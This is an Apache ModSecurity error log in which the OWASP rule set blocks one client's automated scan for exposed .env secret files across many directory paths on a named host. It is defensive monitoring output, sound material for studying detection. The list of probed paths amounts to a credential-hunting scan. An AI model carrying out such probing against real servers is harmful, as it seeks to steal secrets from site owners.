[Sun Oct 25 22:08:45.703369 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at62LTmmX3asvCDITlDxdAAAAAA"]
[Sun Oct 25 22:08:45.703643 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at62LTmmX3asvCDITlDxdAAAAAA"]
[Sun Oct 25 22:08:45.747154 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3AAAAAc"]
[Sun Oct 25 22:08:45.747384 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3AAAAAc"]
[Sun Oct 25 22:08:45.747668 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3AAAAAc"]
[Sun Oct 25 22:08:45.755730 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpAAAAAk"]
[Sun Oct 25 22:08:45.755933 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpAAAAAk"]
[Sun Oct 25 22:08:45.756311 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpAAAAAk"]
[Sun Oct 25 22:08:45.757913 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at62LYCf_dn79BGji-V_AQAAAAg"]
[Sun Oct 25 22:08:45.758117 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at62LYCf_dn79BGji-V_AQAAAAg"]
[Sun Oct 25 22:08:45.758393 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at62LYCf_dn79BGji-V_AQAAAAg"]
[Sun Oct 25 22:08:45.760388 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNwAAADM"]
[Sun Oct 25 22:08:45.760596 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNwAAADM"]
[Sun Oct 25 22:08:45.760863 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNwAAADM"]
[Sun Oct 25 22:08:45.761997 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVQAAAAY"]
[Sun Oct 25 22:08:45.762165 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVQAAAAY"]
[Sun Oct 25 22:08:45.762418 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVQAAAAY"]
[Sun Oct 25 22:08:45.763442 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at62LdYvsK9lv2bQxMABlwAAABA"]
[Sun Oct 25 22:08:45.763590 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at62LdYvsK9lv2bQxMABlwAAABA"]
[Sun Oct 25 22:08:45.763804 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at62LdYvsK9lv2bQxMABlwAAABA"]
[Sun Oct 25 22:08:45.773285 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at62LbZn9l1fDWzMN3C80AAAAAQ"]
[Sun Oct 25 22:08:45.773432 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at62LQdfoouc32iEpvzFiQAAAA8"]
[Sun Oct 25 22:08:45.773506 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at62LbZn9l1fDWzMN3C80AAAAAQ"]
[Sun Oct 25 22:08:45.773694 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at62LQdfoouc32iEpvzFiQAAAA8"]
[Sun Oct 25 22:08:45.773726 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at62LbZn9l1fDWzMN3C80AAAAAQ"]
[Sun Oct 25 22:08:45.773901 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at62LQdfoouc32iEpvzFiQAAAA8"]
[Sun Oct 25 22:08:45.833070 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAQAAAAo"]
[Sun Oct 25 22:08:45.833314 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAQAAAAo"]
[Sun Oct 25 22:08:45.833592 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAQAAAAo"]
[Sun Oct 25 22:08:45.897625 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at62LTmmX3asvCDITlDxdQAAAAA"]
[Sun Oct 25 22:08:45.897850 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at62LTmmX3asvCDITlDxdQAAAAA"]
[Sun Oct 25 22:08:45.898118 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at62LTmmX3asvCDITlDxdQAAAAA"]
[Sun Oct 25 22:08:45.937550 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at62LYLcv9dw313oUE998wAAAAM"]
[Sun Oct 25 22:08:45.937782 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at62LYLcv9dw313oUE998wAAAAM"]
[Sun Oct 25 22:08:45.938047 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at62LYLcv9dw313oUE998wAAAAM"]
[Sun Oct 25 22:08:45.942092 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at62LZHtMtN5e4U4U0biewAAAAI"]
[Sun Oct 25 22:08:45.942297 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at62LZHtMtN5e4U4U0biewAAAAI"]
[Sun Oct 25 22:08:45.942537 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at62LZHtMtN5e4U4U0biewAAAAI"]
[Sun Oct 25 22:08:45.951437 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpQAAAAk"]
